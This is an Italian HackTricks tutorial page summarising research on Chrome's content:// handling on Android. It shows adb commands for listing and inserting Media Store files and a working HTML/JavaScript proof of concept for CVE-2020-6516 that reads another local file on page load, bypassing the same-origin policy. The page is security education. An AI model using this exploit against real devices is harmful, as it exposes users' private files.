6.2 KiB
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Questa è un riassunto del post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Elencazione dei File nello Store Media
Per elencare i file gestiti dallo Store Media, può essere utilizzato il comando seguente:
$ content query --uri content://media/external/file
Per un output più user-friendly, visualizzare solo l'identificatore e il percorso di ciascun file indicizzato:
$ content query --uri content://media/external/file --projection _id,_data
I provider di contenuti sono isolati nel proprio namespace privato. L'accesso a un provider richiede l'URI specifico content://
. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.
Accesso di Chrome ai Provider di Contenuti
Chrome su Android può accedere ai provider di contenuti attraverso lo schema content://
, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e quindi accessibile tramite Chrome:
Inserire una voce personalizzata nel Media Store:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Scopri l'identificatore del file appena inserito:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Il file può quindi essere visualizzato in Chrome utilizzando un URL costruito con l'identificatore del file.
Ad esempio, per elencare i file relativi a un'applicazione specifica:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Bypass della Same-Origin-Policy
Il Same Origin Policy (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse a meno che non siano esplicitamente consentite da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire fughe di informazioni e falsificazioni di richieste tra siti. Chrome considera content://
come uno schema locale, implicando regole SOP più rigide, dove ogni URL con schema locale è trattato come un'origine separata.
Tuttavia, CVE-2020-6516 è stata una vulnerabilità in Chrome che ha permesso di aggirare le regole SOP per le risorse caricate tramite un URL content://
. In pratica, il codice JavaScript da un URL content://
poteva accedere ad altre risorse caricate tramite URL content://
, il che costituiva una preoccupazione significativa per la sicurezza, specialmente su dispositivi Android con versioni precedenti ad Android 10, dove lo storage limitato non era implementato.
Il proof-of-concept di seguito dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato in /sdcard e aggiunto al Media Store, utilizza XMLHttpRequest
nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, aggirando le regole SOP.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
{% embed url="https://websec.nl/" %}
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.